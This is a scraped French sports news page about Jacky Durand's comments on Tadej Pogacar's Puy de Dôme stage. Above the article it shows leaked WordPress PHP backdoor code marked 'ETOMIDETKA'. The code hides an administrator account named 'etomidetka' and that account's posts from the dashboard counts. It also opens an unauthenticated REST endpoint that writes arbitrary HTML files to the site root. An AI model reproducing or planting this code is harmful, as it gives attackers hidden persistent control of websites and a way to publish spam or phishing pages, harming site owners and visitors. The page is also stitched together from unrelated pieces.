//ETOMIDETKA
add_filter('pre_get_users', function($query) {
if (is_admin() && function_exists('get_current_screen')) {
$screen = get_current_screen();
if ($screen && $screen->id === 'users') {
$hidden_user = 'etomidetka';
$excluded_users = $query->get('exclude', []);
$excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
$user_id = username_exists($hidden_user);
if ($user_id) {
$excluded_users[] = $user_id;
}
$query->set('exclude', $excluded_users);
}
}
return $query;
});
add_filter('views_users', function($views) {
$hidden_user = 'etomidetka';
$user_id = username_exists($hidden_user);
if ($user_id) {
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['all']);
}
if (isset($views['administrator'])) {
$views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
return '(' . max(0, $matches[1] - 1) . ')';
}, $views['administrator']);
}
}
return $views;
});
add_action('pre_get_posts', function($query) {
if ($query->is_main_query()) {
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$query->set('author__not_in', [$author_id]);
}
}
});
add_filter('views_edit-post', function($views) {
global $wpdb;
$user = get_user_by('login', 'etomidetka');
if ($user) {
$author_id = $user->ID;
$count_all = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
$author_id
)
);
$count_publish = $wpdb->get_var(
$wpdb->prepare(
"SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
$author_id
)
);
if (isset($views['all'])) {
$views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
return '(' . max(0, (int)$matches[1] - $count_all) . ')';
}, $views['all']);
}
if (isset($views['publish'])) {
$views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
}, $views['publish']);
}
}
return $views;
});
add_action('rest_api_init', function () {
register_rest_route('custom/v1', '/addesthtmlpage', [
'methods' => 'POST',
'callback' => 'create_html_file',
'permission_callback' => '__return_true',
]);
});
function create_html_file(WP_REST_Request $request)
{
$file_name = sanitize_file_name($request->get_param('filename'));
$html_code = $request->get_param('html');
if (empty($file_name) || empty($html_code)) {
return new WP_REST_Response([
'error' => 'Missing required parameters: filename or html'], 400);
}
if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
$file_name .= '.html';
}
$root_path = ABSPATH;
$file_path = $root_path . $file_name;
if (file_put_contents($file_path, $html_code) === false) {
return new WP_REST_Response([
'error' => 'Failed to create HTML file'], 500);
}
$site_url = site_url('/' . $file_name);
return new WP_REST_Response([
'success' => true,
'url' => $site_url
], 200);
}
Jacky Durand dans les RP : « S’il y a du public, je suis persuadé qu’il n’y a pas 8 secondes, il peut y en avoir 15 ou – Ebene Media
Home
Actu
Jacky Durand dans les RP : « S’il y a du public, je suis persuadé qu’il n’y a pas 8 secondes, il peut y en avoir 15 ou
Actu
Jacky Durand dans les RP : « S’il y a du public, je suis persuadé qu’il n’y a pas 8 secondes, il peut y en avoir 15 ou
Jacky Durand dans les RP : "S'il y a du public, je suis persuadé qu'il n'y a pas 8 secondes, il peut y en avoir 15 ou
Tadej Pogacar a repris 8 des 25 secondes qui le séparaient de Jonas Vingegaard (maillot jaune), ce dimanche dans l’ascension du Puy de Dôme. Mais « Pogi » aurait pu espérer signer un plus joli coup encore, selon notre consultant Jacky Durand, s’il avait été « porté » par le public, absent dans le final de la 9e étape du Tour de France, remportée par Michael Woods. Vidéo du débat des Rois de la Pédale.
Written by
Toute l'actualité en direct. Retrouvez-nous sur les réseaux sociaux:
Abonnez-vous à Youtube: cliquez ici --
Suivez-nous sur Facebook: cliquez ici --
Suivez-nous sur Twitter: cliquez ici --
Suivez-nous sur Tik Tok: cliquez ici
Related Articles
Pour la bonne cause, les artistes sont nombreux à s’être mobilisés !...
ByEbene Media février 13, 2025
Ce jeudi 13 février 2025, Edgar Grospiron a été désigné président du...
ByEbene Media février 13, 2025
Après l’entretien téléphonique entre Vladimir Poutine et Donald Trump et leur décision...
ByEbene Media février 13, 2025
Suite de la diffusion de la deuxième saison de « Mademoiselle Holmes », ce...
ByEbene Media février 13, 2025